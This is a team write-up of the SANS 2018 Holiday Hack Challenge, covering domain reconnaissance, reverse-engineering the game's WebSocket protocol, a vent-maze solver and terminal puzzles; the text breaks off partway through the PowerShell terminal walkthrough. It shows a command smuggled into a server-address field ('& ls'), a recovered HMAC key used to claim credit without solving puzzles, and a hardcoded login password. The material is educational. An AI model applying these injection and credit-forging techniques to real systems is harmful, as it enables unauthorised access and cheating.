SANS 2018 Holiday Hack Writeup
Table of Contents
- Introduction
- Answers
- Reconnaisance
- LineCon
- KringleCon
- Cranberry Pi Terminals
- Objectives
- Going Further: Escalations and 0days
- Working as a Team
- Easter Eggs
- Thank Yous
- Appendix 1: Reverse Engineering PyInstaller Binaries
- Appendix 2: Game Internals: HMACs and Hidden Terminal Messages
- Appendix 3: Scripts and Tools
- Postscript: Police Report
Introduction
In the following write up of the Holiday Hack Challenge 2018, you’ll find an enthralling take on a story we all know. Sure there is the mystery of Kringle Castle, but there’s also the intrigue of easter eggs, the thrill of unknown escalations, and the allure of a 0day. You’ll also find an automated vent map, the truth behind Rachmaninoff, and some easter eggs of our own.
You’ll feel like you won a Golden Ticket with how easy it is to follow along.  We lay out the answers off the bat so you can chew into the Wonka Bar-like sweetness right away.
We then move into the pre hack reconnaissance we went through, as if we were watching Nakatomi Plaza before attacking the hack. Linecon had us waiting for our chance to arrive at the Holiday Party and make our presence known. From there, we work our way through the story like Samantha Coleman before we drop into the juicy part of the challenge.
You’ll see the Cranberry Pi Terminal challenges come up next, with a detailed overview. Each one will give the goal and any necessary background needed to begin tackling it (including relevant hints and videos). Feel free to skip right to the Solution (including asciinema videos, that allow you to copy and paste) if you just want to know the answer. If you feel like learning more, we’ll then step you through our thought process in solving the problems, how the challenge was made, and sometimes, an alternate solution. The Summary for each challenge is also a good spot to skip to if you’re short on time as you’ll get a nice, brief idea of what we did. The following Objectives section works almost exactly the same, though leans more on pictures than gifs.
After that is the really good stuff. We managed to escalate privileges on the Snort system, which allowed us to pivot to snortsensor1. There we discovered a 0day in rssh, and exploited a race condition which allowed us to read arbitrary files as root.
We also thought it might be useful to show our entire process, how we worked efficiently as a small team, maybe our ideas will help others. You might also have better ideas and can share your techniques with us, we love to learn and improve!
Some artifacts will be left on our Github as they fit better there and we don’t want to overwhelm you any more than required. See how many easter eggs you can find between this site and the Github!
Happy reading,
–Dop, Sam and Vlad
Answers
What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions?
Happy Trails (Die Hard Reference)
Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness?
John McClane (Die Hard Reference)
The KringleCon Speaker Unpreparedness room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker?
Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?
Yippee-ki-yay (Die Hard Reference)
Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name?
What is the access control number revealed by the door authentication panel?
19880715 (Die Hard Reference)
Which terrorist organization is secretly supported by the job applicant whose name begins with "K"?
Fancy Beaver (Fancy Bear reference)
What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?
What is the success message displayed by the Snort terminal?
What is the domain name the malware in the document downloads from?
erohetfanu.com (Obfuscated Die Hard reference)
What is the full sentence text that appears on the domain registration success message (bottom sentence)?
Successfully registered yippeekiyaa.aaay! (Die Hard reference)
What is the password entered in the database for the Vault entry?
ED#ED#EED#EF#G#F#G#ABA#BA#B (Willy Wonka reference)
What message do you get when you unlock the door?
Who was the mastermind behind the whole KringleCon plan?
Reconnaisance
Any penetration test starts with reconnaisance on your target. In a typical Capture the Flag (CTF) or other hacking challenge, you're given all this information up-front. However, this step shouldn't be skipped, as it can make the challenge easier.
Goal
Identify domain names, hostnames, IP addresses, etc.
Reverse Whois
First, we'll try to identify the domain names being used. Last year,
the domain was northpolechristmastown.com. Every domain name has
some ownership information associated with it. We can query this
information via a whois
lookup:
$ whois northpolechristmastown.com
... Domain Name: northpolechristmastown.com Registry Domain ID:<PHONE_NUMBER>_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.godaddy.com Registrar URL: http://www.godaddy.com Updated Date: 2017-10-19T19:29:00Z Creation Date: 2017-10-19T19:29:00Z ... Registrant Organization: Counter Hack ...
northpolechristmastown.com was registered in October 2017, and the organization is listed as Counter Hack. Using this information, we can also do a "reverse whois" search, where we can see all domains that a given organization is listed as the registrant for:
Figure 1: A reverse whois search for Counter Hack
kringlecon.com was registered in May, and in July it was opened up for participants to begin signing up, and poking around (more on that below, in "LineCon").
erohetfanu.com and kringlecastle.com were registered in October. LineCon gave us a hint about the castle. erohetfanu.com seems obfuscated.
Domain Name System (DNS)
Armed with the 3 domain names, we'll see what additional information we can glean. DNS attempts to convert between hostnames and IP addresses.
dig +noall +answer ANY kringlecon.com
kringlecon.com. 599 IN A <IP_ADDRESS>
kringlecon.com. 3599 IN NS ns45.domaincontrol.com.
kringlecon.com. 3599 IN NS ns46.domaincontrol.com.
kringlecon.com. 3599 IN SOA ns45.domaincontrol.com. dns.jomax.net.<PHONE_NUMBER> 28800 7200 604800 600
kringlecon.com. 3599 IN MX 10 aspmx.l.google.com.
kringlecon.com. 3599 IN MX 20 alt1.aspmx.l.google.com.
kringlecon.com. 3599 IN MX 30 alt2.aspmx.l.google.com.
kringlecon.com. 3599 IN MX 40 aspmx2.googlemail.com.
kringlecon.com. 3599 IN MX 50 aspmx3.googlemail.com.
kringlecon.com. 3599 IN TXT "v=spf1 include:_spf.google.com ~all"
There's a lot of information returned, but we can learn that kringlecon.com resolves to the IP address <IP_ADDRESS>, that DNS services are provided by domaincontrol.com, and that e-mail services are provided through Google Mail. These are "indicators," and can be used to track how a certain actor likes to operate. Domains and IP addresses can change, but tactics often stay the same.
Whois also works on IP addresses, so we can see the ownership of the IP address returned:
whois <IP_ADDRESS>
... NetRange: <IP_ADDRESS> - <IP_ADDRESS> CIDR: <IP_ADDRESS>/14 NetName: GOOGLE-CLOUD ...
The IP address is owned by Google, and the name of the network implies that it's part of Google's Cloud offerings. Some more digging reveals that northpolechristmastown.com was set up the same way.
We can perform similar queries on the other two domains, and we find out the following information:
| Domain | Purpose | Domain Registration Date | Domain Registry | DNS Provider | Mail Provider | IP Address | IP Owner |
|---|---|---|---|---|---|---|---|
| northpolechristmastown.com | Last Year's Domain | October 19th, 2017 | GoDaddy.com | domaincontrol.com | n/a | Hosts hosted on Google Cloud | |
| kringlecon.com | The Kringle Conference | May 25th, 2018 | GoDaddy.com | domaincontrol.com | <IP_ADDRESS> | Google Cloud | |
| kringlecastle.com | Unknown: Kringle's Castle? | October 12th, 2018 | GoDaddy.com | domaincontrol.com | n/a | Unknown | |
| erohetfanu.com | Unknown: Something hidden? | October 16th, 2018 | GoDaddy.com | domaincontrol.com | <IP_ADDRESS> | Google Cloud |
Certificate Transparency Logs
After determining the domains for this year's Holiday Hack, we'd like to figure out what systems there are in those domains. A good way of doing this is via Certificate Transparency logs – public logs which serve as an audit mechanism for SSL certificates which are issued, in order to detect mistaken or malicious certificates.
There are several free services which allow you to query these logs. I like using VirusTotal.com:
Figure 2: Certificates for kringlecastle.com
Figure 3: Certificates for kringlecon.com
Monitoring
Since we found several hosts that use SSL certificates, it's a pretty safe bet that they'll be web servers. We can set up monitoring to poll some of these systems, so that we'll know as soon as the contest goes live.
Figure 4: Let the games begin…
Summary
| IP Address | Hostname |
|---|---|
| <IP_ADDRESS> | scanomatic.kringlecastle.com |
| hohohodaddy.kringlecastle.com | |
| <IP_ADDRESS> | docker2018-qa.kringlecon.com |
| <IP_ADDRESS> | git.kringlecastle.com |
| <IP_ADDRESS> | pianolockn.kringlecastle.com |
| <IP_ADDRESS> | docker.kringlecon.com |
| <IP_ADDRESS> | packalyzer.kringlecastle.com |
| <IP_ADDRESS> | doorpasscode.kringlecastle.com |
| cfp.kringlecastle.com | |
| pianolock.kringlecastle.com | |
| <IP_ADDRESS> | narrative.kringlecon.com |
| <IP_ADDRESS> | careers.kringlecastle.com |
| <IP_ADDRESS> | vents.kringlecastle.com |
| <IP_ADDRESS> | status.kringlecon.com |
| <IP_ADDRESS> | www.kringlecon.com |
| kringlecon.com | |
| api.kringlecon.com | |
| rsvp.kringlecon.com | |
| <IP_ADDRESS> | snortsensor1.kringlecastle.com |
LineCon
Goal
Register for the conference, and look for any secrets
Finding a hidden path
While zooming out the browser window, something appeared off to the right:
Figure 5: A secret snow path
Upon visiting the secret path, we could see a castle in the distance.
Figure 6: Kringle Castle?
Client-side tricks to make secrets stand out
To make it easier to see hidden paths, we can use this JavaScript
snippet in our browser's Javascript console. To access the console, visit
Tools
→ Web Developer
→ Web Console
in Firefox, and View
→ Developer
→ JavaScript Console
in Chrome.
var i; var lava = document.getElementsByClassName('lava'); for ( i = 0; i < lava.length; i++ ) { lava[i].style.background = "pink"; };
The game uses a special HTML class called "lava" for any element which is "walkable." Our snippet finds all elements which have that class, and then sets their background color to pink.
Figure 7: Making everything pink in the Console
Figure 8: Pink paths!
Game Internals: WebSocket Messages
Using the same Developer Tools, we can start reverse engineering how the game works. As we'll discover, the game relies on WebSocket messages. Firefox currently lacks the ability to view these messages, so it's recommended to use Chrome for this portion.
This time, we'll use the Network
tab in the Developer
Tools. Network traffic from your browser will be listed here. If
this tab wasn't open when the traffic was initiated, nothing will
show up, so it's best to have this tab open and then refresh the
page, to ensure we see everything. Once we login go the game, we
can filter on WebSocket connections by clicking on the WS
filter,
and then view the Frames
tab to see the individual messages:
Figure 9: WebSocket messages
Messages in green are messages that we sent to the server, and the other messages are the replies. By interacting with the game and observing which messages are sent/received, we can slowly learn how to interact with the game without a browser.
Using the new-found knowledge about WebSocket messages, we can create a simple client for the game:
#!/usr/bin/env python3 import asyncio import simplejson as json import time import websockets async def hello(): async with websockets.connect('wss://api.kringlecon.com/ws') as websocket: # The initial connect message await websocket.send('{"type":"WS_CONNECTED","session":null,"protocol":"43ae08fd-9cf2-4f54-a6a6-8454aef59581"}') # Wait for OHHIMARK while True: response = json.loads(await websocket.recv()) if response['type'] == 'WS_OHHIMARK': break # Send the login info await websocket.send('{"type":"WS_LOGIN","usernameOrEmail":"VG","password":"3j6QMM3grTYYp7jWkie&f"}') # Print out everything we get back while True: response = json.loads(await websocket.recv()) print(response) asyncio.get_event_loop().run_until_complete(hello())
Game Internals: Avatar DNA
As we explored LineCon, one feature that drew our attention was
that the appearance of each avatar was encoded as DNA. Using the
standard DNA sequence letters (A, T, C, G), pairs of letters would
encode the numbers 0-3: E = {AT: "0", TA: "1", GC: "2", CG:
"3"}
. A neat detail is the fact that these pairs match DNA
nucleic-acid pairs (i.e. in the double-helix, A is complementary to
T, and C with G).
The avatar is encoded as a 120 character sequence, such as
ATATATTAATATATATATATATTAATATATATCGTAGCCGATATATATATATTATAATATATATATATTAGCATATATTAATATATATATATGCATATATATATATATTAGCATATATCG
. Once
we convert the pairs back to numbers, we get a 60 digit sequence:
000100000001000031230000001100000012000100000020000000120003
.
Inspecting the Javascript code, we can see how this sequence gets translated back to an avatar:
C = [ { name: "size", size: 4 }, { name: "legs", size: 8 }, { name: "hue", size: 8 }, { name: "torso", size: 8 }, { name: "head", size: 8 }, { name: "saturation", size: 4 }, { name: "mouth", size: 8 }, { name: "eyes", size: 8 }, { name: "brightness", size: 4 }];
Returning to our example, we can convert the sequence to these
fields. A quick way to convert the numerical sequences is using
Python's int
function with a base of 4: int("0001", 4)
.
| Offset | Size | Sequence | Name | Value |
|---|---|---|---|---|
| 0 | 4 | 0001 | size | 1 |
| 4 | 8 | 00000001 | legs | 1 |
| 12 | 8 | 00003123 | hue | 219 |
| 20 | 8 | 00000011 | torso | 5 |
| 28 | 8 | 00000012 | head | 6 |
| 36 | 4 | 0001 | saturation | 1 |
| 40 | 8 | 00000020 | mouth | 8 |
| 48 | 8 | 00000012 | eyes | 6 |
| 56 | 4 | 0003 | brightness | 3 |
We can verify our decoding by searching for the names of the color
schemes in the Javascript. In the example sequence above, the
avatar selection modal used "Flimsy Cappuccino," which we can find
defined as: { name: "Flimsy Cappuccino", hue: 219, saturation: 1, brightness: 3 }
. An exact match!
Another cool mini-feature is that if you open up the Console
tab
of your Developer Tools, you can see representations of the DNA
sequence:
Figure 10: DNA Sequences in the Console tab
The color scheme is: { A: "yellow", T: "green", C: "teal", G:
"red" }
. So, in the example above, the top line starts AAAT
, and
the bottom line is the complementary sequence TTTA
.
First Finding: Avatar vulnerability
In the Network
tab of the Developer Tools, we can see other
resources that are being loaded by the game. One of these is an
image, called egg.png
:
Figure 11: egg.png
It seems like the game uses this when it can't load an image:
render() { const {dna: e, version: t} = this.props; if (au.a.validateSequence(e)) return du.a.createElement("div", { className: "a-wild-missingno-appears" }, du.a.createElement("img", { src: "images/egg.png", alt: ":)" }));
While investigating this mysterious image, it was discovered that we could use our WebSocket client to set an invalid avatar for ourselves.
Doing this caused an exception which would render our game completely black and inoperable.
Worse yet, our avatar was being loaded by other players in the game, and it would cause their screens to go black as well.
We quickly set our avatar back to its original state, and reported this issue to the SANS Counter Hack team. They quickly issued a fix for it.
Summary
LineCon was a great preview! We prepped some in-browser tricks for making paths or other interesting elements stand out. We wrote a simple Python script which allowed us to interact directly with the game. And we discovered and reported our first vulnerability.
KringleCon
Map
First, we walk around, familiarizing ourselves with the surroundings:
Story
As you walk through the gates, a familiar red-suited holiday figure warmly welcomes all of his special visitors to KringleCon.
Your narrative begins when you stop to chat with Santa and he shares the preceding.
Continuing into the castle, you begin to poke around. Once you
complete the door passcode challenge and receive the
doorpasscode_completed
token, you start to notice some suspicious
behavior:
Suddenly, all elves in the castle start looking very nervous. You can overhear some of them talking with worry in their voices. The toy soldiers, who were always gruff, now seem especially determined as they lock all the exterior entrances to the building and barricade all the doors. No one can get out! And the toy soldiers' grunts take on an increasingly sinister tone.
You carry on and help out by finding some secrets in a git
repository. This unlocks the datarepohack_completed
token. While
receiving that, you begin to see something disturbing, the toy
soldiers act even more aggressively.
They are searching for something – something very special inside of Santa’s castle – and they will stop at NOTHING until they find it.
Hans seems to be directing their activities. What could they be after? In the main lobby on the bottom floor of Santa's castle, Hans calls everyone around to deliver a speech. Make sure you visit Hans to hear his speech." What could he have to say?
Ladies and Gentlemen…
Due to the North Pole’s legacy of providing coal as presents around the globe …
… they are about to be taught a lesson in the real use of POWER.
You will be witnesses.
Now, Santa… that’s a nice suit… John Philips, North Pole. I have two myself. Rumor has it Alabaster buys his there.
I have comrades in arms around the world who are languishing in prison.
The Elvin State Department enjoys rattling its saber for its own ends. Now it can rattle it for ME.
The following people are to be released from their captors.
In the Dungeon for Errant Reindeer, the seven members of the New Arietes Front.
In Whoville Prison, the imprisoned leader of ATNAS Corporation, Miss Cindy Lou Who.
In the Land of Oz, Glinda the Good Witch.
All of a sudden, all of the toy soldiers are similarly taken by Die Hard references:
Grunt!
Links.
Nein! Nein! Nein!
No one is coming to help you.
Get the over here!
Schnell!
As you keep digging for secrets trying to figure out just what’s
going on here, you break into the domain and get the
domainhack_completed
token. This reveals another, even more sinister
sight:
The toy soldiers continue behaving very rudely, grunting orders to the guests and to each other in vaguely Germanic phrases. Suddenly, one of the toy soldiers appears wearing a grey sweatshirt that has written on it in red pen, "NOW I HAVE A ZERO-DAY. HO-HO-HO."
The elves are panicking:
Oh my! Santa’s castle… it’s under siege!
We’re trapped inside and can’t leave.
The toy soldiers are blocking all of the exits!
We are all prisoners!
That is worrisome, but even more so when you start to hear, "A rumor spreads among the elves that Alabaster has lost his badge. Several elves say, 'What do you think someone could do with that?'"
Quickly trying to help out and save the castle from attack, you find
an example badge used to beat the qrcode Scan-O-Matic
objective. Finding a way to trick your way through this badge reader
to earn your qrcode_completed
token, you hear, "Congratulations! You
have gained access to Santa's secret room." This is great, but then
you quickly learn that, "Hans has started monologuing again. Please
visit him in Santa's lobby for a status update."
Our captor tells us:
So, you’ve figured out my plan – it’s not about freeing those prisoners.
The toy soldiers and I are here to steal the contents of Santa’s vault!

But, I tell you – I am an exceptional thief.
And since I've moved up to kidnapping all of you, you should be more polite!
As you go listen to Hans, you notice a vent cover that seems… not
quite right. As you wonder where this maze of a vent system could
take you, you eventually find your way out. This unlocks the
ventmaze_completed
token and you find yourself in a new room. "Great
work! You have blocked access to Santa's treasure… for now.
Please visit Hans in Santa's Secret Room for an update." As you
approach Hans, "…suddenly, Hans slips and falls into a snowbank
[editor’s note: that is strangely located inside this secret, third
story room hidden in a castle]. His nefarious plan thwarted, he's
now just cold and wet." Things are starting to look up, "But Santa
still has more questions for you to solve!"
You need to find Santa to see if you can answer his questions. Your
eye lands on a door you couldn’t have seen before. It won’t open and
has some strange musical lock on it. After struggling with it, you
finally defeat the lock and collect the pianolock_completed
token. With this, you are able to enter this final hidden room and
talk to Santa.
Congrats! You have solved the hardest challenge! Please visit Santa and Hans inside Santa's Secret Room for an update on your amazing accomplishment!
The elves say "YAY! You won!", and Hans and the now hat-less toy soldiers join in on congratulating us.  You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test!
You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!

I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers.
That’s why we had so many different challenges this year.
We needed to find someone with skills all across the spectrum.
I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised.
And you did!
Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.
See what happens when they take off those hats?
Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad guys.
And welcome to my vault room. Where's my treasure? Well, my treasure is Christmas joy and good will.
You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?
They lived happily ever after.
Walking back out of these once secret rooms, as you leave the castle
and hear Jason the plant's lament of psmitty, you realize that
instead of snaking through the arduous, confusing maze of vents, you
could have won the elfhrhack_completed
token and gotten the same
access, and heard the same information.
Bonus: Crawling through the Vents
Now I know what a TV dinner feels like. —John McClane
Solution 1: Manually Crafted Vent Maze
On the left side of the lobby in Santa's Castle is a large air vent that's large enough to crawl through, upon entering it's soon clear that this is a maze. This can be solved manually by carefully crafting a map during an hour long meeting (not that anyone would do that).
Solution 2: Recover Map from Git Repository
In Objective 4, we manage to recover a map from the GitLab server.
Solution 3: Automated Maze Solver
Perhaps the most fun way to solve the maze is programmatically. To move, your browser sends a request like:
Breaking that out to be more clear:
| Field | Value | Meaning |
|---|---|---|
heading |
w |
Current heading: n=north, w=west, s=south, e=east |
mazex |
23 |
Current X coordinate |
mazey |
19 |
Current Y coordinate |
mazef |
1 |
Current maze floor |
playeraction |
forward |
Potentially valid options: forward, backward, up, down |
locationkey |
ba49a09644aa8fa7fb0082e935f46521 |
The unique location id key for where you currently are |
resourceid |
inigomontoya |
Never changes, clearly a reference to The Princess Bride |
It's important to note that every location on the vent map has a unique locationkey. So we can't just sent a request for every possible x,y,f position without traversing the maze and learning the location keys. Assuming you send an action that moves you to a valid location, the server response will include a number of variables outlining your current state:
window.onload = function() { document.getElementById("top").style.visibility="hidden"; document.getElementById("bottom").style.visibility="hidden"; document.getElementById("arrow-up").style.visibility="hidden"; document.getElementById("arrow-down").style.visibility="hidden"; //next section depends on player state document.getElementById("mazeform").elements.namedItem("heading").value = "w"; document.getElementById("mazeform").elements.namedItem("mazex").value = "22"; document.getElementById("mazeform").elements.namedItem("mazey").value = "19"; document.getElementById("mazeform").elements.namedItem("mazef").value = "1"; document.getElementById("mazeform").elements.namedItem("locationkey").value = "07edf09b26a307b9fe4f40bedffe76ed"; document.getElementById("mazeform").elements.namedItem("resourceid").value = "inigomontoya"; document.getElementById("wallform").elements.namedItem("northwall").value = "True"; document.getElementById("wallform").elements.namedItem("southwall").value = "True"; document.getElementById("wallform").elements.namedItem("eastwall").value = "False"; document.getElementById("wallform").elements.namedItem("westwall").value = "False"; wallcheck(); //render correct walls once state is known };
The important parts here are the True/False value of the four walls, which gives us valid headings, and the locationkey for our new coordinates. The size of the response is generally within a few bytes (3509-3514) which can be used to help find locations that aren't like the others, like the shaft to the second floor and the exit. In these cases the response size changes as well as the arrow-up/arrow-down elements may be visible instead of hidden.
A Python script was written to automatically solve the maze by always going right. It generates a map with the following final output. 'S' is the starting location, 'U' and 'D' represent up and down possibilities, and 'X' marks the current location: the exit.
U.███████.█████.█.█.███ D████████.............. █.█.....█.█...█.█.█...█ ......█.█.............. ███.....█████.█████████ █████.█.█.............. ............█.......... ....█.█.█.............. ............███.███.███ █.█.█.█.█...........███ ..............█...█...█ █.█.█...█...........█.█ ..............█.█.█.█.█ ███.█.███...........█.X ..............█.█.█.█.█ █.█.█.█.............█.. ..............███.█.█.█ █.█.███.......█████████ ................█.█.█.█ █.█.█.........█.....█.. ................███.███ █.█.█.......███.█.█████ ..................█.█.. █...█.......█...█.█...█ ............█████████.█ ███████████████.█.███.█ ............█.█.█.....█ █.█.......█.█.█.█...█.. ............█.█.███████ █.█.███.███.█.█.█████.█ ............█.......█.. █.....█.█.......█...█.█ ............█████.█████ ███.███████.█████.█.███ ................█...... █...█...........█.█.█.█ ................██████S █.███.█████████████.█.█
<html><head> <script src="./conduit.js"></script> <script> __POST_RESULTS__({ hash:"9ab70b3f354515c18885f34e7ac903eedcac2f93d1b28de249e3222ff7f83db9", resourceId: "inigomontoya"}); </script> </head><body><h1><font color="green">Congratulations!</body></html>
Exiting the vent maze you end up in Santa's Secret Room. The other way to get there is through the Scan-o-matic challenge.
Cranberry Pi Terminals
Overview
As we walk around, we can find various terminals, and as we talk to the elves standing near them, we get some hints.
| Terminal | Direct URL | Elf | Hint | Location |
|---|---|---|---|---|
| Essential Editor Skills | viescape | Bushy Evergreen | Indiana University Vi Tutorials | East side of Lobby |
| The Name Game | pwshmenu | Misty Candycane | PowerShell Command Injection SQLite3 .dump'ing | West side of Lobby |
| Lethal ForensicELFification | viminfo | Tangle Coalbox | Vim Artifacts | East Hall Corridor |
| Stall Mucking Report | plaintext-creds | Wunorse Openslae | Plaintext Credentials in Commands | East Wing |
| CURLing Master | http2 | Holly Evergreen | HTTP/2.0 Basics | West Wing |
| Yule Log Analysis | spray-detect | Pepper Minstix | Password Spraying | East Hall Proper |
| Dev Ops Fail | gitpasshist | Sparkle Redberry | Finding Passwords in Git Git Cheat Sheet | West side of Balcony |
| Python Escape from LA | python_docker_challenge | SugarPlum Mary | Python Escape (Check out Mark Baggett's talk upstairs) | West side of Balcony |
| The Sleighbell Lottery | unlinked-function | Shinny Upatree | Using gdb to Call Random Functions! | East side of Balcony |
Essential Editor
Goal
Quit the vim editor.
Background
- Elf Chat
Bushy Evergreen tells us the following:
Hi, I'm Bushy Evergreen.
I'm glad you're here, I'm the target of a terrible trick.
Pepper says his editor is the best, but I don't understand why.
He's forcing me to learn vi.
He gave me a link, I'm supposed to learn the basics.
Can you assist me with one of the simple cases?
- Badge Hint
Once Bushy tells us the above, we get the following hint: Indiana University Vi Tutorials
- Relevant KringleCon Videos
None
Intro
When we login, we're presented with the following screen:
I'm in quite a fix, I need a quick escape. Pepper is quite pleased, while I watch here, agape. Her editor's confusing, though "best" she says - she yells! My lesson one and your role is exit back to shellz. -Bushy Evergreen Exit vi.
Solution
This can be easily solved with the hint from Bushy Evergreen. As
the page says, to exit, hit Esc
, then type :q!<Enter>
. Escape
ensures that vi
is in command mode, q
is the command for quit,
and the exclamation point instructs it to not warn us about any
unsaved changes.
Game Internals: How it was made
The Docker terminals drop us into a terminal with our Bash shell
running. Normally when Bash is running, it will read some
configuration files on startup, including .bashrc
in the user's
home directory. Inspecting our .bashrc
, we see the following two
lines at the bottom:
vim .message /usr/local/bin/successfulescape
When Bash starts, it runs vim
, opening the file .message
. Whenever vim
exits, it runs /usr/local/bin/successfulescape
.
Using our technique to reverse engineer binaries, we can recover this script. The main logic of the script is:
if checkvimps() == False: hmac256 = calcHmac(key, RESOURCEID) printResponse(hmac256, RESOURCEID) time.sleep(0.5) print('\nYou did it! Congratulations!\n') else: print('Hmm. I think vim is still running...')
The checkvimps
function will actually make sure that no process
named vi
is running. So, even if you had called
successfulescape
from within vim
, you would not receive
credit.
def checkvimps(): pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] for pid in pids: try: if open(os.path.join('/proc', pid, 'comm'), 'rb').read()[0:2] == 'vi': return True except IOError: continue return False
The final noteworthy portion of this script is calculating the HMAC which is sent to the game server to receive credit for completion of this challenge. The HMAC algorithm is discussed in detail in Appendix 2 However, the source code does reveal the HMAC key:
key = '2bb6b9c702834095a9c3284e053da124'
Summary
We escaped vim
by giving the quit command. We then showed how
vim
was being started upon login, and how we received credit for
completing it. We successfully reverse-engineered the
successfulescape
binary, and recoved the HMAC key, so now we can receive
credit without ever solving the challenge at all.
Powershell Name Game
Goal
To solve this challenge, determine the new worker's first name and submit to runtoanswer.
Background
- Elf Chat
Minty tells us:
Can you help me? I'm in a bit of a fix.
I need to make a nametag for an employee, but I can't remember his first name.
Maybe you can figure it out using this Cranberry Pi terminal?
The Santa's Castle Onboarding System? I think it's written in PowerShell, if I'm not mistaken.
PowerShell itself can be tricky when handling user input. Special characters such as & and ; can be used to inject commands.
I think that system is one of Alabaster's creations.
He's a little … obsessed with SQLite database storage.
I don't know much about SQLite, just the .dump command.
- Badge Hint
Talking to Minty unlocks two hints: PowerShell Call/& Operator and SQLite3 Data Dump.
- Relevant KringleCon Videos
None
Intro
When we launch the Cranberry Pi, we see:
We just hired this new worker, Californian or New Yorker? Think he's making some new toy bag... My job is to make his name tag. Golly gee, I'm glad that you came, I recall naught but his last name! Use our system or your own plan, Find the first name of our guy "Chan!" -Bushy Evergreen To solve this challenge, determine the new worker's first name and submit to runtoanswer. ==================================================================== = = = S A N T A ' S C A S T L E E M P L O Y E E O N B O A R D I N G = = = ==================================================================== Press 1 to start the onboard process. Press 2 to verify the system. Press q to quit. Please make a selection:
Solution
Given the hints, it sounds like our penultimate step is to dump the data from SQLite, and look for someone named Chan. The Powershell menu presents us with three options:
Press 1 to start the onboard process. Press 2 to verify the system. Press q to quit.
Maybe we're on a quitting streak after the first terminal, but we
start by trying to get to a command prompt directly, and hit q
to quit. Unfortunately, that hangs the terminal, and we can't type
anything else.
Reloading, and trying again, we do the onboard process. Minty mentioned trying to give Powershell tricky characters, like ;
and &
:
Welcome to Santa's Castle! At Santa's Castle, our employees are our family. We care for each other, and support everyone in our common goals. Your first test at Santa's Castle is to complete the new employee onboarding paperwork. Don't worry, it's an easy test! Just complete the required onboarding information below. Enter your first name. : Minty; Enter your last name. : Candy Cane & Enter your street address (line 1 of 2). : 221B Baker Street; Enter your street address (line 2 of 2). : NW1 6XE; Enter your city. : London; Enter your postal code. : NW1 6XE; Enter your phone number. : 8175309; Enter your email address<EMAIL_ADDRESS>Is this correct? Minty; Candy Cane & 221B Baker Street; NW1 6XE; London;, NW1 6XE; 8175309<EMAIL_ADDRESS>y/n: y Save to sqlite DB using command line Press Enter to continue...:
No luck. Once we hit enter, we're back in the main menu. We'll move on to the last unexplored option, verifying the system.
Validating data store for employee onboard information. Enter address of server: <IP_ADDRESS> connect: Network is unreachable onboard.db: SQLite 3.x database Press Enter to continue...: # Try again... Validating data store for employee onboard information. Enter address of server: <IP_ADDRESS> connect: Network is unreachable onboard.db: SQLite 3.x database Press Enter to continue...: # One more attempt: Validating data store for employee onboard information. Enter address of server: localhost PING localhost (<IP_ADDRESS>) 56(84) bytes of data. 64 bytes from localhost (<IP_ADDRESS>): icmp_seq=1 ttl=64 time=0.036 ms 64 bytes from localhost (<IP_ADDRESS>): icmp_seq=2 ttl=64 time=0.060 ms 64 bytes from localhost (<IP_ADDRESS>): icmp_seq=3 ttl=64 time=0.061 ms --- localhost ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2045ms rtt min/avg/max/mdev = 0.036/0.052/0.061/0.013 ms onboard.db: SQLite 3.x database
So, the verification pings the server you give it, and then checks the onboard.db
file. Once again, let's try giving it some potentially troublesome characters:
Validating data store for employee onboard information. Enter address of server: & Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination onboard.db: SQLite 3.x database Press Enter to continue...: # Try again... Validating data store for employee onboard information. Enter address of server: ; Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination onboard.db: SQLite 3.x database Press Enter to continue...:
Submitting &
and ;
behave the same – we see the usage
information for ping. It's the same output we would see if we
called ping without any arguments. One of the pages that Minty
linked us to said that we can use the &
operator in Powershell
to call other commands. Let's try it:
Validating data store for employee onboard information. Enter address of server: & ls Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination menu.ps1 onboard.db runtoanswer onboard.db: SQLite 3.x database Press Enter to continue...:
It's a bit hard to see in the output, but we have a different line
from the time before: menu.ps1 onboard.db runtoanswer
. This
would be the output from our ls
command.
At this point, we can exit the Powershell menu and run our own commands. Now we can dump the SQLite database, using the tips in the second link that Minty provided:
